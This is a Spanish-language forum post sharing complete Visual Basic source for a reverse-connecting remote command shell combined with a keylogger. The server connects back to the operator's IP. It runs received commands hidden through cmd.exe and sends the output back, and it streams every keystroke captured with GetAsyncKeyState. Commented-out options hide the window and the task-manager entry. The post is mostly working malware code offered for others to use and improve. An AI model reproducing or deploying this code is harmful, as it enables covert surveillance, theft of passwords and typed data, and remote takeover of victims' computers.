Hola, soy ohcan07, bueno este es mi primer aporte, una mini "shell" remota, y la explicacion de como funciona, y como poder hacer una.
Bueno, este pequeño programa, lo fui armando de a poco con mis conocimientos basicos de visual basic, asi que esta formado en mayor parte por mi, pero tiene partes de otros codigos que fui encontrando en la web.
- Elementos:
3 TextBox
7 CommandButton
2 Controles Winsock
2 Timer
- Codigo del cliente:
Quedaria mas o menos así:
Bueno, ese seria el cliente, ahora el servidor:
- Elementos:
4 Timer
2 Winsock
2 TextBox
1 Modulo Bas
Ahora, el codigo del modulo es el siguiente:
y el server quedaria mas o menos así:
Bueno este es mi primer aporte , Espero que les sirva, y si pueden modificar y perfeccionar el codigo, seria muy bueno que lo posteen aca. ya que seguramente tiene algun error, o alguna modificacion para que funcione mejor.
Si falta algo, me comentan.
Suerte!
Bueno, este pequeño programa, lo fui armando de a poco con mis conocimientos basicos de visual basic, asi que esta formado en mayor parte por mi, pero tiene partes de otros codigos que fui encontrando en la web.
<----------------------------------->
Programacion:- Elementos:
3 TextBox
7 CommandButton
2 Controles Winsock
2 Timer
- Codigo del cliente:
Código [Seleccionar]
Dim datos As String 'Creamos las variables
Dim datos2 As String
Dim estado As String
Private Sub Command1_Click()
If Winsock2.State = 0 Then Winsock2.Listen Else ' Si el winsock2 esta desconectado se conecta
Text2.Text = "" ' Borra el texto del text2
Winsock1.Close ' cierra el winsock1
estado = "keylogger" ' Le asigna el valor keylogger a la variable para el select case
End Sub
Private Sub Command2_Click()
If Winsock1.State = 7 Then ' si el winsock1 esta conectado (=7) entonces:
Winsock1.SendData Text1.Text ' envia el texto del text1
ElseIf Winsock1.State = 0 Then MsgBox "Desconectado con el server." 'Pero si el winsock1 esta desconectado entonces alerta que esta desconectado
Else: Winsock1.Close ' y cierra el winsock1
End If
End Sub
Private Sub Command3_Click()
If Winsock1.State = 0 Then Winsock1.Listen Else 'Si el winsock1 esta desconectado lo pone a la escucha
Winsock2.Close ' y cierra el winsock2 que es el del keylogger
estado = "consola" ' y le asigna el valor consola a la variable para el select case
End Sub
Private Sub Command4_Click()
MsgBox "Metodo de utilización: Para cambiar de carpeta y ver su contenido se utilizara de la siguiente forma: UBICACION && DIR (por ej: CD C:\Archivos de programa\ && DIR ); Si en algun otro caso no funciona deberas probar agregar lo que deceas hacer todo en una misma linea de comando, comando por comando separados por &&, ejemplos: CD C:\ && mkdir carpeta(para crear una carpeta); CD C:\ && del Archivo.exe (para borrar archivo.exe); ", , "Ayuda" ' Esto explica un poco como utilizar la consola, ya que se cierra despues de cada comando
End Sub
Private Sub Command5_Click()
MsgBox "El keylogger ira mostrando las teclas que se apretan en la pc que se encuentra ejecutado el servidor, podes guardar el log del keylogger precionando en save log y se guardara en el archivo C:\log.txt", , "Ayuda" ' esto explica un poco el keylogger
End Sub
Private Sub Command6_Click()
Open "C:\log.txt" For Output As #1 'esto es para guardar el log del keylogger
Print #1, Text3
Close #1
End Sub
Private Sub Command7_Click()
If Winsock1.State = 7 Then 'Esto es para borrar la "pantalla" de la consola
Winsock1.SendData "CLS"
End If
End Sub
Private Sub Form_Load()
Command4.Caption = "?"
Command5.Caption = "?"
Command3.Caption = "Start"
Command1.Caption = "Start"
Command6.Caption = "Save Log"
Command7.Caption = "CLS"
Winsock1.LocalPort = 1993
Winsock2.LocalPort = 1994
Timer2.Interval = 500
Timer1.Interval = 400
End Sub
Private Sub Timer1_Timer()
Select Case estado 'Este select case es el que cambia el titulo del form, para decir si estamos utilizando la consola o el keylogger
Case "consola"
Form1.Caption = "Conectado a la consola." ' ya que si esta funcionando la consola, el keylogger no anda
Case "keylogger"
Form1.Caption = "Conectado a el keylogger." ' y si esta funcionando el keylogger, la consola no anda
End Select
Text2.Text = datos 'El timer este tambien es el que hace que se actualice el texto de el text2
Text3.Text = datos2 'y del text3
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) 'esto es lo que hace que
Winsock1.Close
Winsock1.Accept requestID 'se acepte la conexion del server, cuando quiera conectarce la consola
End Sub
Private Sub Winsock2_ConnectionRequest(ByVal requestID As Long) 'Este es igual al anterior solo que con el keylogger
Winsock2.Close
Winsock2.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) 'obtiene los datos que envia el winsock del server en el puerto 1993
Winsock1.GetData datos ' y los guarda en la variable datos
End Sub
Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long) 'obtiene los datos que envia el winsock del server en el puerto 1994
Winsock2.GetData datos2 'y los guarda en la variable datos2
End Sub
Quedaria mas o menos así:
Bueno, ese seria el cliente, ahora el servidor:
- Elementos:
4 Timer
2 Winsock
2 TextBox
1 Modulo Bas
Código [Seleccionar]
Dim datos As String
Dim largo As Long
Dim texto As String
Private Sub Form_Load()
'Hide 'esto es para ocultar el form si le sacamos la comilla, el form se ocultara
'App.TaskVisible = False 'si le sacamos la comilla esto hace que el archivo al ser ejecutado no aparezca en el administrador de tareas
Winsock1.RemoteHost = "localhost" 'ACA VA EL IP AL QUE QUEREMOS QUE SE CONECTE EL SERVER
Winsock1.RemotePort = 1993 ' este dejenlo asi
Winsock2.RemoteHost = "localhost" ' ACA VA EL MISMO IP AL QUE QUEREMOS CONECTARNOS
Winsock2.RemotePort = 1994 ' este dejenlo asi
Timer1.Interval = 200
Timer2.Interval = 200
Timer3.Interval = 200
Timer4.Interval = 1
Open "C:\consola.txt" For Output As #1 'Esto es para crear el archivo consola.txt
Close #1
End Sub
Private Sub Timer1_Timer()
If datos = "" Then
Else: Shell ("cmd.exe /c " & datos & " > C:\consola.txt"), vbHide 'ejecuta los comandos recividos y los guarda en consola.txt
datos = "" 'borra el comando recivido luego de ejecutarlo
End If
End Sub
Private Sub Timer2_Timer()
If Winsock1.State = 0 Then ' si el winsock1 esta desconectado entonces
Winsock1.Connect ' conecta el winsock1!
ElseIf Winsock1.State = 7 Then Form1.Caption = "Conectado." 'y muestra en el caption del form que se conecto
Else: Winsock1.Close
End If
If Winsock2.State = 0 Then ' si el winsock2 esta desconectado entonces
Winsock2.Connect ' conecta el winsock2!
ElseIf Winsock2.State = 7 Then Form1.Caption = "Conectado." 'y muestra en el caption del form que se conecto
Else: Winsock2.Close
End If
Open "c:\consola.txt" For Input As #1 ' abre el consola.txt y
largo = FileLen("c:\consola.txt")
texto = Input(largo, #1) ' guarda el consola.txt en la variable texto
Close #1
Text1.Text = texto ' abre en el text1 la variable texto que contiene el consola.txt
End Sub
Private Sub Timer3_Timer()
If Winsock1.State = 7 Then 'si esta conectado (= 7)
Winsock1.SendData Text1.Text ' manda lo que mostro la consola
Else
End If
If Winsock2.State = 7 Then 'si esta conectado (= 7)
Winsock2.SendData Text2.Text ' manda lo que guardo el keylogger
Else
End If
End Sub
Private Sub Timer4_Timer()
If obtenerlateclapresionada Then
Text2.Text = Text2.Text + Tecla_Presionada 'guarda las teclas en el text2
End If
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Winsock1.GetData datos 'recive el comando para ejecutar y lo guarda en la variable datos
End Sub
Ahora, el codigo del modulo es el siguiente:
Código [Seleccionar]
'El modulo del keylogger no fue programado por mi, lo encontre en internet, y lo tome prestado. no se a quien pertenece sino lo pondria.
Private Declare Function Estadodelteclado Lib "user32" Alias "GetKeyboardState" _
(Estadodelatecla As Byte) As Long
Const VK_CAPITAL = &H14
Private Declare Function Estadodelatecla Lib "user32" _
Alias "GetKeyState" (ByVal nVirtKey As Long) As Integer
Private Declare Function Obtenersisepresionolatecla Lib "user32" _
Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer
Private Const Tecla_shift As Integer = 16
Private Buscar_tecla As Integer
Private Resultado_tecla As Long
Private bShift As Boolean
Public Tecla_Presionada As String
Public Function obtenerlateclapresionada() As Boolean
Buscar_tecla = 65
Do Until Buscar_tecla = 91
Resultado_tecla = Obtenersisepresionolatecla(Buscar_tecla)
If Resultado_tecla = -32767 Then
Resultado_tecla = Estadodelatecla(Tecla_shift)
Tecla_Presionada = IIf(Resultado_tecla < 0, Chr(Buscar_tecla), LCase(Chr(Buscar_tecla)))
Dim stado As Boolean
Call capslock_rm(stado)
If stado = True Then
Tecla_Presionada = UCase(Tecla_Presionada)
End If
GoTo teclaencontrada
End If
Buscar_tecla = Buscar_tecla + 1
Loop
Buscar_tecla = 48
Do Until Buscar_tecla = 57
Resultado_tecla = Obtenersisepresionolatecla(Buscar_tecla)
If Resultado_tecla = -32767 Then
Resultado_tecla = Estadodelatecla(Tecla_shift)
If Resultado_tecla < 0 Then
If Buscar_tecla = 48 Then Tecla_Presionada = "="
If Buscar_tecla = 49 Then Tecla_Presionada = "!"
If Buscar_tecla = 50 Then Tecla_Presionada = "'"
If Buscar_tecla = 51 Then Tecla_Presionada = "#"
If Buscar_tecla = 52 Then Tecla_Presionada = "$"
If Buscar_tecla = 53 Then Tecla_Presionada = "%"
If Buscar_tecla = 54 Then Tecla_Presionada = "^"
If Buscar_tecla = 55 Then Tecla_Presionada = "&"
If Buscar_tecla = 56 Then Tecla_Presionada = "*"
If Buscar_tecla = 58 Then Tecla_Presionada = "("
Else
Tecla_Presionada = Chr(Buscar_tecla)
End If
GoTo teclaencontrada
End If
Buscar_tecla = Buscar_tecla + 1
Loop
Resultado_tecla = Obtenersisepresionolatecla(13)
If Resultado_tecla = -32767 Then
Tecla_Presionada = vbCrLf
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(32)
If Resultado_tecla = -32767 Then
Tecla_Presionada = " "
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(8)
If Resultado_tecla = -32767 Then
Tecla_Presionada = " BKSP "
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(46)
If Resultado_tecla = -32767 Then
Tecla_Presionada = " DEL "
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(190)
If Resultado_tecla = -32767 Then
Resultado_tecla = Estadodelatecla(Tecla_shift)
Tecla_Presionada = IIf(Resultado_tecla < 0, ">", ".")
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(188)
If Resultado_tecla = -32767 Then
Resultado_tecla = Estadodelatecla(Tecla_shift)
Tecla_Presionada = IIf(Resultado_tecla < 0, "<", ",")
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(186)
If Resultado_tecla = -32767 Then
Resultado_tecla = Estadodelatecla(Tecla_shift)
Tecla_Presionada = IIf(Resultado_tecla < 0, ":", ";")
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(191)
If Resultado_tecla = -32767 Then
Resultado_tecla = Estadodelatecla(Tecla_shift)
Tecla_Presionada = IIf(Resultado_tecla < 0, "?", "/")
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(222)
If Resultado_tecla = -32767 Then
Resultado_tecla = Estadodelatecla(Tecla_shift)
Tecla_Presionada = IIf(Resultado_tecla < 0, """", "'")
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(192)
If Resultado_tecla = -32767 Then
Resultado_tecla = Estadodelatecla(Tecla_shift)
Tecla_Presionada = IIf(Resultado_tecla < 0, "~", "`")
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(189)
If Resultado_tecla = -32767 Then
Resultado_tecla = Estadodelatecla(Tecla_shift)
Tecla_Presionada = IIf(Resultado_tecla < 0, "_", "-")
GoTo teclaencontrada
End If
Resultado_tecla = Obtenersisepresionolatecla(187)
If Resultado_tecla = -32767 Then
Resultado_tecla = Estadodelatecla(Tecla_shift)
Tecla_Presionada = IIf(Resultado_tecla < 0, "+", "=")
GoTo teclaencontrada
End If
obtenerlateclapresionada = False
Exit Function
teclaencontrada:
obtenerlateclapresionada = True
End Function
Public Sub capslock_rm(estado As Boolean)
Dim EstadodelCapsLock As Boolean
Dim teclas(0 To 255) As Byte
Estadodelteclado teclas(0)
EstadodelCapsLock = teclas(VK_CAPITAL)
If EstadodelCapsLock <> True Then
estado = False
ElseIf EstadodelCapsLock <> False Then
estado = True
End If
End Sub
y el server quedaria mas o menos así:
Bueno este es mi primer aporte , Espero que les sirva, y si pueden modificar y perfeccionar el codigo, seria muy bueno que lo posteen aca. ya que seguramente tiene algun error, o alguna modificacion para que funcione mejor.
Si falta algo, me comentan.
Suerte!